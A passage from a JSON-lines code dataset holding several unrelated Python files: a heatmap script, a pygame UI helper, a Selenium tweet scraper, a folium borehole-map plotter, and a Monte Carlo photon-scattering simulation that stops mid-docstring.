cv2.applyColorMap(np.uint8(255 * cam_), cv2.COLORMAP_JET)\r\n cam_img = 0.3 * heatmap + 0.7 * np.float32(img)\r\n cv2.imwrite(\"img.jpg\", cam_img)\r\n\r\n def __call__(self, img_root):\r\n img = Image.open(img_root).convert(\"RGB\")\r\n img = img.resize((224, 224))\r\n plt.imshow(img)\r\n plt.savefig(\"airplane.jpg\")\r\n input = self.process_img(img)\r\n grad_val, feature, input_grad = self.getGrad(input)\r\n cam, cam_ = self.getCam(grad_val, feature)\r\n self.show_img(cam_, img)\r\n return cam\r\n\r\n\r\nif __name__ == \"__main__\":\r\n cam = cal_cam()\r\n img_root = \"6_1.png\"\r\n cam(img_root)","repo_name":"wuj1e/cls_code","sub_path":"CAM.py","file_name":"CAM.py","file_ext":"py","file_size_in_byte":4532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13089538962","text":"import pygame, sys\r\n\r\ndef handle_ui(pos, state, button_list, player, slider_list = []):\r\n for slider in slider_list:\r\n slider.is_over(pos, state)\r\n\r\n for button in button_list:\r\n is_over, is_clicked = button.check_mouse(pos, state)\r\n if is_over:\r\n if is_clicked:\r\n player.game_state = button.state\r\n return True\r\n\r\n return False\r\n #return is only used for projectiles\r\n\r\n ","repo_name":"SomniumTenebris/distant-suns","sub_path":"scripts/handle_ui.py","file_name":"handle_ui.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74135746435","text":"import requests\r\nimport os\r\nimport json\r\nimport time\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nchrome_options = Options()\r\nchrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\r\nbrowser = webdriver.Chrome(options=chrome_options)\r\n\r\ndef get_tweets(query='',scrolls=5):\r\n url = f'https://twitter.com/search?q={query}'\r\n browser.get(url)\r\n time.sleep(1)\r\n\r\n body = browser.find_element_by_tag_name('body')\r\n for i in range(scrolls):\r\n body.send_keys(Keys.PAGE_DOWN)\r\n time.sleep(0.2)\r\n tweets = browser.find_elements_by_tag_name(\"article\")\r\n return tweets\r\n\r\ndef find_location(account):\r\n #https://twitter.com/TheAnimeEra\r\n url = f'https://twitter.com/{account}'\r\n browser.get(url)\r\n time.sleep(1)\r\n bio = browser.find_elements_by_tag_name(\"span\")\r\n index=0\r\n for i in bio:\r\n try:\r\n if index == 22:\r\n for j in i.text:\r\n if j.isdigit():\r\n raise\r\n print([i.text,index])\r\n index+=1\r\n except:\r\n pass\r\n return bio\r\n\r\ndef run(tweets):\r\n results = []\r\n saved = []\r\n for x in range(len(tweets)):\r\n if x:\r\n try:\r\n tweet = {'msg':'','likes':0,'retweets':0,'comments':0,'type':None,'account':'','location':''}\r\n data = tweets[x].find_elements_by_tag_name('span')\r\n links = tweets[x].find_elements_by_tag_name('a')\r\n for i in links:\r\n try:\r\n if len(i.text) >= 2:\r\n for j in range(len(i.text)):\r\n if i.text[j] == '@':\r\n tweet['account'] = i.text[j+1:]\r\n except Exception as e:\r\n pass\r\n temp = 0\r\n n=0\r\n going = False\r\n msg=''\r\n for i in data:\r\n txt = i.text\r\n if txt==temp:\r\n continue\r\n temp = txt\r\n try:\r\n if 'K' in txt:\r\n txt = float(txt[:-1])*1000\r\n txt = float(txt)\r\n if going:\r\n tweet['msg'] = msg\r\n if n==0:\r\n tweet['comments'] = int(txt)\r\n if n==1:\r\n tweet['retweets'] = int(txt)\r\n if n==2:\r\n tweet['likes'] = int(txt)\r\n going = False\r\n n+=1\r\n except Exception as e:\r\n if txt == '·':\r\n going = True\r\n continue\r\n if going:\r\n msg+=txt\r\n results.append(tweet)\r\n #create table of index meanings\r\n except Exception as e:\r\n continue\r\n return results\r\n #welp selenium it is\r\nresults = []\r\nfor i in range(5,35,5):\r\n tweets = get_tweets(query='Anime',scrolls=i)\r\n for j in run(tweets):\r\n results.append(j)\r\n\r\nfor result in results:\r\n find_location(result['account'])\r\n for i in range(len(result['msg'])):\r\n try:\r\n if result['msg'][i:i+6] == ' ':\r\n result['type'] = 'meme'\r\n except Exception as e:\r\n #print(e)\r\n pass\r\nfor i in results:\r\n print(i)\r\nprint(len(results))\r\n","repo_name":"Stargor14/Stone-Scraper","sub_path":"scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":3704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9515182508","text":"\"\"\"Plot a html folium map from holes object.\"\"\"\nfrom itertools import cycle\nfrom pathlib import Path\n\nimport folium\nimport numpy as np\nfrom folium.plugins import MarkerCluster, MeasureControl, MousePosition\nfrom tqdm.auto import tqdm\n\nfrom ..core import Holes\nfrom ..core.coord_utils import coord_str_recognize, project_points\nfrom ..core.utils import ABBREVIATIONS\nfrom .holes import plot_hole\n\n__all__ = [\"plot_map\"]\n\n\ndef plot_map(holes, render_holes=True, progress_bar=True, popup_size=(3, 3)):\n \"\"\"Plot a leaflet map from holes with popup hole plots.\n\n Parameters\n ----------\n holes : holes object\n render_holes : bool\n Render popup diagrams for holes\n progress_bar : bool\n Show tqdm progress bar while adding/rendering holes\n popup_size : tuple\n size in inches of popup figure\n\n Returns\n -------\n map_fig : folium map object\n \"\"\"\n holes_filtered = []\n first_system = False\n if len(holes) == 0:\n raise ValueError(\"Can't plot empty holes -object.\")\n for hole in holes:\n if hasattr(hole, \"header\") and hasattr(hole.header, \"XY\"):\n if \"X\" in hole.header.XY and \"Y\" in hole.header.XY:\n holes_filtered.append(hole)\n coord_system = hole.fileheader.KJ[\"Coordinate system\"]\n input_epsg = coord_str_recognize(coord_system)\n if \"unknown\" in input_epsg.lower():\n msg = \"Coordinate system {} is unrecognized format / unknown name\"\n msg = msg.format(coord_system)\n raise ValueError(msg)\n if not first_system:\n first_system = coord_system\n else:\n if not first_system == coord_system:\n raise ValueError(\"Coordinate system is not uniform in holes -object\")\n holes_filtered = Holes(holes_filtered)\n\n x_all, y_all = [], []\n for i in holes_filtered:\n x_all.append(i.header[\"XY\"][\"X\"])\n y_all.append(i.header[\"XY\"][\"Y\"])\n\n x, y = np.mean(x_all), np.mean(y_all)\n x, y = project_points(x, y, input_epsg)\n max_zoom = 22\n map_fig = folium.Map(\n location=[x, y],\n zoom_start=14,\n max_zoom=22,\n prefer_canvas=True,\n control_scale=True,\n tiles=None,\n )\n folium.TileLayer(\"OpenStreetMap\", maxNativeZoom=19, maxZoom=max_zoom).add_to(map_fig)\n folium.TileLayer(\"Stamen Terrain\", maxNativeZoom=18, maxZoom=max_zoom).add_to(map_fig)\n folium.TileLayer(\"CartoDB positron\", maxNativeZoom=18, maxZoom=max_zoom).add_to(map_fig)\n esri_url = (\n \"https://server.arcgisonline.com/ArcGIS/rest/services/\"\n + \"World_Imagery/MapServer/tile/{z}/{y}/{x}\"\n )\n folium.TileLayer(\n tiles=esri_url,\n attr=\"Esri\",\n name=\"Esri Satellite\",\n overlay=False,\n control=True,\n maxNativeZoom=18,\n maxZoom=max_zoom,\n ).add_to(map_fig)\n mml_url_perus = \"http://tiles.kartat.kapsi.fi/peruskartta/{z}/{x}/{y}.jpg\"\n mml_url_orto = \"http://tiles.kartat.kapsi.fi/ortokuva/{z}/{x}/{y}.jpg\"\n folium.TileLayer(\n tiles=mml_url_perus,\n attr=\"MML\",\n name=\"MML peruskartta\",\n overlay=False,\n control=True,\n maxNativeZoom=18,\n maxZoom=max_zoom,\n ).add_to(map_fig)\n folium.TileLayer(\n tiles=mml_url_orto,\n attr=\"MML\",\n name=\"MML ilmakuva\",\n overlay=False,\n control=True,\n maxNativeZoom=18,\n maxZoom=max_zoom,\n ).add_to(map_fig)\n\n gtk_url = (\n \"http://gtkdata.gtk.fi/arcgis/services/Rajapinnat/GTK_Maapera_WMS/MapServer/WMSServer?\"\n )\n folium.WmsTileLayer(\n name=\"GTK Maaperäkartta\",\n url=gtk_url,\n fmt=\"image/png\",\n layers=[\"maapera_100k_kerrostumat_ja_muodostumat\"], # \"maapera_200k_maalajit\"\n show=False,\n transparent=True,\n opacity=0.5,\n ).add_to(map_fig)\n\n folium.WmsTileLayer(\n name=\"GTK Sulfaattimaat\",\n url=gtk_url,\n fmt=\"image/png\",\n layers=[\"happamat_sulfaattimaat_250k_alueet\"],\n show=False,\n transparent=True,\n opacity=0.5,\n ).add_to(map_fig)\n\n sw_bounds = project_points(min(x_all), min(y_all), input_epsg)\n ne_bounds = project_points(max(x_all), max(y_all), input_epsg)\n\n map_fig.fit_bounds([sw_bounds, ne_bounds])\n\n cluster = MarkerCluster(\n control=False,\n options=dict(\n animate=True, maxClusterRadius=15, showCoverageOnHover=False, disableClusteringAtZoom=20\n ),\n ).add_to(map_fig)\n map_fig.add_child(cluster)\n hole_clusters = {}\n colors = [\n \"red\",\n \"blue\",\n \"green\",\n \"purple\",\n \"orange\",\n \"darkred\",\n \"lightred\",\n \"darkblue\",\n \"darkgreen\",\n \"cadetblue\",\n \"darkpurple\",\n \"pink\",\n \"lightblue\",\n \"lightgreen\",\n ]\n colors = cycle(colors)\n clust_icon_kwargs = {}\n for color, key in zip(colors, holes_filtered.value_counts().keys()):\n hole_clusters[key] = folium.plugins.FeatureGroupSubGroup(\n cluster, name=ABBREVIATIONS.get(key, \"Unrecognize abbreviation\"), show=True\n )\n clust_icon_kwargs[key] = dict(color=color, icon=\"\")\n map_fig.add_child(hole_clusters[key])\n\n if progress_bar:\n pbar = tqdm(\n total=len(holes_filtered),\n desc=\"Rendering holes\" if render_holes else \"Adding points to map\",\n )\n for i, hole in enumerate(holes_filtered):\n x, y = [hole.header.XY[\"X\"], hole.header.XY[\"Y\"]]\n x, y = project_points(x, y, input_epsg)\n\n if hasattr(hole.header, \"TT\") and \"Survey abbreviation\" in hole.header[\"TT\"]:\n key = hole.header[\"TT\"][\"Survey abbreviation\"]\n else:\n key = \"Missing survey abbreviation\"\n if render_holes and key != \"Missing survey abbreviation\":\n try:\n hole_svg = plot_hole(hole, output=\"svg\", figsize=popup_size)\n popup = folium.Popup(hole_svg)\n icon = get_icon(key, clust_icon_kwargs)\n folium.Marker(location=[x, y], popup=popup, icon=icon).add_to(hole_clusters[key])\n\n except (NotImplementedError, KeyError, TypeError):\n icon = get_icon(key, clust_icon_kwargs)\n folium.Marker(\n location=[x, y],\n popup=ABBREVIATIONS[key] + \" \" + str(i),\n icon=icon,\n ).add_to(hole_clusters[key])\n else:\n icon = get_icon(key, clust_icon_kwargs)\n folium.Marker(\n location=[x, y],\n popup=ABBREVIATIONS.get(key, f\"Unrecognize abbreviation {key}\") + \" \" + str(i),\n icon=icon,\n ).add_to(hole_clusters[key])\n\n if progress_bar:\n pbar.update(1)\n\n folium.LayerControl().add_to(map_fig)\n MeasureControl(\n secondary_length_unit=\"\",\n secondary_area_unit=\"\",\n activeColor=\"#aecfeb\",\n completedColor=\"#73b9f5\",\n ).add_to(map_fig)\n fmtr = \"function(num) {return L.Util.formatNum(num, 7) + ' º ';};\"\n MousePosition(\n position=\"topright\",\n separator=\" | \",\n prefix=\"WGS84 \",\n lat_formatter=fmtr,\n lng_formatter=fmtr,\n ).add_to(map_fig)\n return map_fig\n\n\ndef get_icon(abbreviation, clust_icon_kwargs, default=False):\n \"\"\"Get icon from /icons or create colored default folium icon.\"\"\"\n if default:\n return folium.Icon(**clust_icon_kwargs[abbreviation])\n path = Path(__file__).parent\n\n icon_path = \"icons//{abb}.svg\".format(abb=abbreviation.replace(\"//\", \"_\"))\n # print(path/icon_path, path)\n # print(abbreviation)\n try:\n with open(path / icon_path, \"r\") as f:\n svg_str = f.read()\n except FileNotFoundError:\n return folium.Icon(**clust_icon_kwargs[abbreviation])\n height = float(\n [line for line in svg_str.split() if line.startswith(\"height\")][0]\n .split(\"=\")[-1]\n .replace('\"', \"\")\n )\n width = float(\n [line for line in svg_str.split() if line.startswith(\"width\")][0]\n .split(\"=\")[-1]\n .replace('\"', \"\")\n )\n icon = folium.DivIcon(html=svg_str, icon_anchor=(width / 2, height / 2))\n return icon\n","repo_name":"ahartikainen/pyinfraformat","sub_path":"pyinfraformat/plots/maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":8317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"41314573722","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef initialization(nbps, N, L, a, mode):\n \"\"\"initialization(nbps, N, L, a, mode):\n Description:\n ------------\n This function creates the initial setup of the incoming photon beams by evenly distributing the beams over the sides of the structure\n \n Parameters:\n -----------\n nbps: int\n Integer indicating the number of beams per side\n N : int\n Integer indicating the total number of photons\n L : float\n Length of one side\n a : float\n Beam radius\n mode : string\n String which defines if a single beam, or multiple beams are used (input: \"single\", \"multiple\")\n \n Results:\n --------\n u0: array of size (3,N)\n array containing the initial unit velocity vector for all the N photons with the rows containing the x,y,z-velocity component.\n r0: array of size (3,N)\n array containing the initial positions for all the N photons with the rows containing the x,y,z-position component.\n \n \"\"\"\n #Creating random radius and phi for a random perturbation (based on the beam radius)\n RND = np.random.rand(N,)\n r1 = a*np.sqrt(RND)\n RND = np.random.rand(N,)\n phi_0 = RND*2*np.pi\n \n if mode == \"single\":\n r0 = 1E-5*np.ones((3,N)) #3xN matrix of the initial position for every particle\n r0[0,:] = L/2 + r1*np.cos(phi_0)\n r0[1,:] = L/2 + r1*np.sin(phi_0)\n\n u0 = np.zeros((3,N)) \n u0[2,:] = 1\n\n if mode == \"multiple\":\n \n \n \n pbm = int(N/(4*nbps)) #photons per beam\n r0 = np.zeros((3,N)) \n perturb = np.zeros((3,N)) #initializing perturbation matrix\n r0[0,:] = L/2 #x-component is always L/2\n\n center = L/2*np.ones((3,N))\n for i in range(nbps):\n #Create the positions of the beam centers of the first two sides\n r0[1,i*pbm:(i+1)*pbm] = (i+1)/(nbps + 1)*L \n r0[2,nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm] = (i+1)/(nbps + 1)*L\n\n\n #Create the pertubation to account for a finite beam radius\n perturb[1,i*pbm:(i+1)*pbm] = r1[i*pbm:(i+1)*pbm]*np.cos(phi_0[i*pbm:(i+1)*pbm])\n perturb[0,i*pbm:(i+1)*pbm] = r1[i*pbm:(i+1)*pbm]*np.sin(phi_0[i*pbm:(i+1)*pbm])\n perturb[2,nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm] = r1[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm]*np.cos(phi_0[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm])\n perturb[0,nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm] = r1[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm]*np.sin(phi_0[nbps*pbm+i*pbm:nbps*pbm+(i+1)*pbm]) \n for i in range(nbps):\n #Create the positions of the beam centers of the other two sides\n r0[1,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = (i+1)/(nbps + 1)*L\n r0[2,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = (i+1)/(nbps + 1)*L\n r0[1,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = L\n r0[2,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = L\n\n #Create the pertubation to account for a finite beam radius\n perturb[1,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = r1[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm]*np.cos(phi_0[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm])\n perturb[0,2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm] = r1[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm]*np.sin(phi_0[2*nbps*pbm+i*pbm:2*nbps*pbm+(i+1)*pbm])\n perturb[2,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = r1[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm]*np.cos(phi_0[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm])\n perturb[0,3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm] = r1[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm]*np.cos(phi_0[3*nbps*pbm+i*pbm:3*nbps*pbm+(i+1)*pbm])\n\n u0 = center-r0 #Initial velocity points to center\n lengthu0 = np.sqrt(np.sum(u0**2,axis = 0)) #Computing the length\n u0 = u0/lengthu0 #Normalizing u0\n r0 = r0 + perturb #Add the perturbations to account for finite beam radius\n\n #u0 = np.zeros((3,N))\n #u0[2,:] = 1\n #r0 = np.zeros((3,N))\n #r0[0,:] = L/2 + r1*np.cos(phi_0)\n #r0[1,:] = L/2 + r1*np.sin(phi_0)\n \n return r0,u0\n\ndef scattering(u,g): \n \"\"\"scattering(u,g):\n Description:\n ------------\n This function scatters the photons in a random direction. It uses the Henyey-Greenstein function to calculate the\n elevation angle scattering. The azimuth scattering angle is uniform \n\n Parameters:\n -----------\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity component\n g: float\n anisotropy of scattering (needs to be between -1 and 1)\n\n Results:\n --------\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity component\n after the scattering event\n\n \"\"\" \n #Henyey-Greenstein function for elevation angle scattering for sin(theta) and cos(theta)\n N = np.shape(u)\n N = N[1]\n RND = np.random.rand(N,)\n\n if g == 0:\n costheta = 2*RND-1\n else:\n t1 = (1-g**2)/(1-g+2*g*RND)\n costheta = (1+g**2-t1**2)/(2*g)\n\n sintheta = np.sqrt(1-costheta**2)\n\n #azimuth angle (phi) between scattered and incoming velocity\n RND = np.random.rand(N,)\n phi = RND*2*np.pi \n cosphi = np.cos(phi)\n sinphi = np.sin(phi)\n\n uxx = np.zeros(N)\n uyy = np.copy(uxx)\n uzz = np.copy(uxx)\n\n #avoid dividing by zero\n div_zero_true = abs(u[2,:]) >= (1-1e-12) #divide by zero locations in live array\n div_zero_false = div_zero_true == False \n lx = div_zero_false #just a short notation such that the long name div_zero_false is not always neccasary to use\n\n\n #Calculate new trajectory vector elements \n tmp = np.sqrt(1-u[2,div_zero_false]**2)\n uxx[div_zero_false] = sintheta[lx]*(u[0,lx]*u[2,lx]*cosphi[lx]-u[1,lx]*sinphi[lx])/tmp + u[0,lx]*costheta[lx]\n uyy[div_zero_false] = sintheta[lx]*(u[1,lx]*u[2,lx]*cosphi[lx]+u[0,lx]*sinphi[lx])/tmp + u[1,lx]*costheta[lx]\n uzz[div_zero_false] = -sintheta[lx]*cosphi[lx]*tmp + u[2,lx]*costheta[lx]\n\n uxx[div_zero_true] = sintheta[div_zero_true]*cosphi[div_zero_true]\n uyy[div_zero_true] = sintheta[div_zero_true]*sinphi[div_zero_true]\n uzz[div_zero_true] = costheta[div_zero_true]*np.sign(u[2,div_zero_true])\n\n u = np.array([uxx, uyy, uzz])\n return u\n\ndef absorb(A,r,Nbins,dL,w,mu_a,mu_t):\n \"\"\"absorb(A,r,Nbins,dL,w,mu_a,mu_t):\n Description:\n ------------\n This function removes a fraction mu_a/mu_t of the photons and puts it in their respective bins (corresponding to their location).\n This fraction is then removed from the photon weights. If the photon is absorbed at an index which does not 1:1 correspond to a bin,\n it is placed in the closest bin instead.\n\n Parameters:\n -----------\n A: array of size (Nbins,Nbins,Nbins)\n array containing information about where the energy from the photons is absorbed before the called absorption event.\n r: array of size (3,N)\n array with all the x,y,z-locations of each photon\n Nbins: int\n Number of bins. The absorption space is divided into Nbins parts.\n dL: float\n Spacing between bins in units of length.\n w: array of size (N,)\n Contains the weights of the photons that are still propagating, before the absorption event.\n mu_a: float\n Absorption coefficient in units of 1/length.\n mu_t: float\n Total interaction coefficient in units of 1/length\n\n\n Results:\n --------\n A: array of size (Nbins,Nbins,Nbins)\n array containing information about where the energy from the photons is absorbed after the called absorption event.\n w: array of size (N,)\n Contains the weights of the photons that are still propagating, after the absorption event.\n \n \n \"\"\" \n \n indexabs = np.floor(r/dL)\n indexabs = indexabs.astype(int)\n indexabs[indexabs>(Nbins-1)] = Nbins-1\n indexabs[indexabs<0] = 0\n \n indexabs, indices, inverse = np.unique(indexabs,return_index= True, return_inverse=True,return_counts=False,axis=1)\n w_new = np.zeros((np.shape(indexabs)[1],))\n w_new = np.bincount(inverse,w,len(indices))\n\n A[indexabs[0,:],indexabs[1,:],indexabs[2,:]] += w_new*mu_a/mu_t\n w = w*(1-mu_a/mu_t)\n return A,w\n\n\ndef reflection(r,u,s,L,w,w_refl,n1,n2):\n \"\"\"reflection(r,u,s,L,w,w_refl,n1,n2):\n Description:\n ------------\n This function reflects photons that are incident at a boundary. A part of the photon weight is transmitted and\n a part of the photon weight is reflected at the boundary, according to the Fresnel equations\n \n Parameters:\n -----------\n r: array of size (3,N)\n array containing the position (x,y,z) of each photon\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity component \n s: array of size (N)\n array containing the distance each photon has travelled\n L : float\n Length of one side\n w: array of size (N)\n array containing the weight of each photon\n w_refl: float\n sum of the photon weights that are left the volume\n n1: float\n refractive index inside volume\n n2: float\n refractive index inside outside\n \n Results:\n --------\n r: array of size (3,N)\n array containing the position (x,y,z) of each photon after the reflection\n u: array of size (3,N)\n array containing the unit velocity vector after the reflection for all the N photon with the rows containing \n the x,y,z-velocity component \n w: array of size (N)\n array containing the weight of each photon \n w_refl: float\n sum of the photon weights that are left the volume \n \"\"\"\n \n N = np.shape(u)\n N = N[1]\n #loop over x-, y- and z-direction\n for i in range(3):\n \n #find photons that are outside the volume\n out_L = r[i,:]>L #photons outside left boundary\n out_0 = r[i,:]<0 #photons outside right boundary\n out = out_L+out_0 #photons oustide left and right boundary\n \n #set photons outside volume back to original position\n r[:,out] = r[:,out] - u[:,out]*s[out] \n \n #Set photons at the boundary of volume\n s1 = np.zeros((N,))\n s1[out_L] = abs(abs(r[i,out_L]-L)/u[i,out_L])\n s1[out_0] = abs(r[i,out_0]/u[i,out_0])\n r[:,out] = r[:,out] + u[:,out]*s1[out]\n \n #initialize fresnel reflection and transmission\n Rs = np.zeros(np.sum(out)) #s-polarisation reflection\n Rp = np.copy(Rs) #p-polarisation reflection\n R = np.copy(Rs) #total reflection coefficent \n \n ci = abs(u[i,out]) #cosinus of incident angle\n ci[ci>1] = 1\n si = np.sqrt(1-ci**2) #sinus of incident angle\n \n tot_ref = n1/n2*si>1 #total internal reflection\n par_ref = tot_ref == False #reflection and transmission\n \n ci = ci[par_ref]\n si = si[par_ref]\n \n #calculate fresnel coefficients\n Rs[par_ref] = ((n1*ci - n2*np.sqrt(1-(n1/n2*si)**2))/(n1*ci + n2*np.sqrt(1-(n1/n2*si)**2)))**2 #s-polarisation reflection\n Rp[par_ref] = ((-n2*ci + n1*np.sqrt(1-(n1/n2*si)**2))/(n2*ci + n1*np.sqrt(1-(n1/n2*si)**2)))**2 #p-polarisation reflection\n R[par_ref] = (Rs[par_ref]+Rp[par_ref])/2 \n R[tot_ref] = 1\n \n #Total change in wheight due to transmitted photons\n w_refl += np.sum((1-R)*w[out])\n \n #update weights, velocity vector\n w[out] = R*w[out]\n u[i,out] = -u[i,out]\n \n #reflect photons at the boundary\n r[:,out] = r[:,out] + (s[out]-s1[out])*u[:,out]\n \n return r,u,w,w_refl\n\ndef terminate(w,u,r,threshold,p_term):\n \"\"\"terminate(w,threshold,p_term,u,r):\n Description:\n ------------\n This function if a photon is terminated when the weight of the photon drops below a certain threshold value.\n If the weight is below the threshold value then the photon is terminated with a probability of p = 1-p_term, or \n the weight of the photon is scaled with a factor of 1/p_term with a probability of p = p_term.\n This method of terminating and scaling of the weight ensures that the system conserves energy.\n The photons that are terminated are removed from the input arrays\n \n Parameters:\n -----------\n w: array of size (N)\n array containing the weight of the photons\n u: array of size (3,N)\n array containing the unit velocity vector for all the N photon with the rows containing the x,y,z-velocity \n component \n r: array of size (3,N)\n array containing the position (x,y,z) of each photon\n threshold: float\n threshold value if w0\n intersec = intersec*reflec_cav\n \n t1 = (-b[intersec]+np.sqrt(D[intersec]))/(2*a[intersec]) #parameter of intersection i.e: r = r1+(r2-r1)*t\n t2 = (-b[intersec]-np.sqrt(D[intersec]))/(2*a[intersec]) #parameter of intersection i.e: r = r1+(r2-r1)*t\n \n r1 = r_old[:,intersec] + (r_new[:,intersec]-r_old[:,intersec])*t1 #intersection of trajectory with sphere\n r2 = r_old[:,intersec] + (r_new[:,intersec]-r_old[:,intersec])*t2 #intersection of trajectory with sphere\n \n #calculate nearest intersection coordinate with sphere \n r1closer = np.sum((r_old[:,intersec] - r1)**2,axis = 0)< np.sum((r_old[:,intersec] - r2)**2, axis = 0) \n \n #parameters of the photons which go trough the sphere \n r_intersec = r1closer*r1 + np.invert(r1closer)*r2 #coordinates of the intersection with the sphere\n r_intersec[:,reflec_io] = r1closer[reflec_io]*r2[:,reflec_io] + np.invert(r1closer[reflec_io])*r1[:,reflec_io] \n u_intersec = u[:,intersec] #velocity vectors \n w_intersec = w[intersec] #weight of photons\n dist_to_travel = np.sqrt(np.sum((r_new[:,intersec] - r_intersec)**2,axis = 0)) #distance photons still have to travel after interaction with sphere\n \n return r_intersec,u_intersec,w_intersec,dist_to_travel,intersec,reflec_io,reflec_oi\n\ndef reflect_cavity(r,u,w,intersec,reflec_io,reflec_oi,n1,n2,cavcent):\n \"\"\"reflect_cavity(r,u,w,dist_to_travel,intersec,reflec_io,reflec_oi,n1,n2,cavcent):\n Description:\n ------------\n This function reflects part of the weight of photons which intersect from the cavity boundary by calculating the Fresnel reflection coefficients (and taking into account total internal reflection).\n \n Parameters:\n -----------\n r: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of the intersection for each photon which path intersects the cavity\n u: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity\n w: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity\n dist_to_travel: array of size (number of photons intersecting the cavity)\n array containing the distance each photon has to travel after the intersection with the cavity\n intersec: boolean array of size (N)\n boolean array containing the indices of which photons actually intersect the cavity\n reflec_io: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the inside to the outside of the cavity\n reflec_oi: boolean array of size (N)\n boolean array containing the indices of which photons intersect from the outside to the inside of the cavity\n n1: float\n float indicating the refraction coefficient of the tissue\n n2: float\n float indicating the refraction coefficient of the cavity\n cavcent: array of size (3)\n array containing the (x,y,z) of a spherical cavity\n\n \n Results:\n --------\n r: array of size (3,number of photons intersecting the cavity)\n array containing the position (x,y,z) of each photon which path intersects the cavity\n u: array of size (3,number of photons intersecting the cavity)\n array containing the unit velocity vector of each photon which path intersects the cavity\n w: array of size (number of photons intersecting the cavity)\n array containing the weights of each photon which path intersects the cavity\n R: array of size (number of photons intersecting the cavity)\n array containing the fresnel reflection coefficient for each intersecting photon\n ci: array of size (number of photons intersecting the cavity)\n array containing the cosine of the angle between the incoming photons and the cavity surface\n si: array of size (number of photons intersecting the cavity)\n array containing the sine of the angle between the incoming photons and the cavity surface\n normal: array of size (3,number of photons intersecting the cavity)\n array containing vector normal to the cavity surface at the intersection location\n \"\"\" \n #Fresnel reflection and transmission\n Rs = np.zeros(np.sum(intersec)) #s-polarisation reflection\n Rp = np.copy(Rs) #p-polarisation reflection\n R = np.copy(Rs) #total reflection coefficent \n \n normal = (r - cavcent)/np.sqrt(np.sum((r - cavcent)**2,axis = 0)) #normal vector sphere\n ci = abs(np.sum(normal*u,axis = 0)) #cosinus of incident angle\n ci[ci>1] = 1\n si = np.sqrt(1-ci**2) #sinus of incident angle \n \n #refelction from outside to inside\n tot_ref = n1/n2*si>1 #total internal reflection\n par_ref = tot_ref == False #reflection and transmission\n oi = par_ref*reflec_oi \n \n ci_oi = ci[oi]\n si_oi = si[oi]\n \n #Fresnel coefficents for reflection from outside to inside\n Rs[oi] = ((n1*ci_oi - n2*np.sqrt(1-(n1/n2*si_oi)**2))/(n1*ci_oi + n2*np.sqrt(1-(n1/n2*si_oi)**2)))**2 #s-polarisation\n Rp[oi] = ((-n2*ci_oi + n1*np.sqrt(1-(n1/n2*si_oi)**2))/(n2*ci_oi + n1*np.sqrt(1-(n1/n2*si_oi)**2)))**2 #p-polarisation\n R[oi] = (Rs[oi]+Rp[oi])/2 \n R[tot_ref*reflec_oi] = 1\n \n #refelction from inside to outside\n tot_ref = n2/n1*si>1 #total internal reflection\n par_ref = tot_ref == False #reflection and transmission\n io = par_ref*reflec_io\n \n ci_io = ci[io]\n si_io = si[io]\n\n #Fresnel coefficents for reflection from inside to outside\n Rs[io] = ((n2*ci_io - n1*np.sqrt(1-(n2/n1*si_io)**2))/(n2*ci_io + n1*np.sqrt(1-(n2/n1*si_io)**2)))**2 #s-polarisation \n Rp[io] = ((-n1*ci_io + n2*np.sqrt(1-(n2/n1*si_io)**2))/(n1*ci_io + n2*np.sqrt(1-(n2/n1*si_io)**2)))**2 #p-polarisation \n R[io] = (Rs[io]+Rp[io])/2 \n R[tot_ref*reflec_io] = 1\n \n #calculate new weights of photons and new velocity vectors\n w = R*w\n u = u-2*np.sum(u*normal,axis = 0)*normal \n \n return u,w,R,ci,si,normal\n\ndef transmission_cavity(r,u,w,s,dist_to_travel,ci,si,normal,R,reflec_oi,reflec_io,n1,n2):\n \"\"\"transmission_cavity(r,u,w,s,dist_to_travel,ci,si,normal,R,reflec_oi,reflec_io,n1,n2):\n Description:\n ------------\n This function transmits and refracts part of the weight of photons which intersect from the cavity boundary by using the calculated Fresnel coefficients, 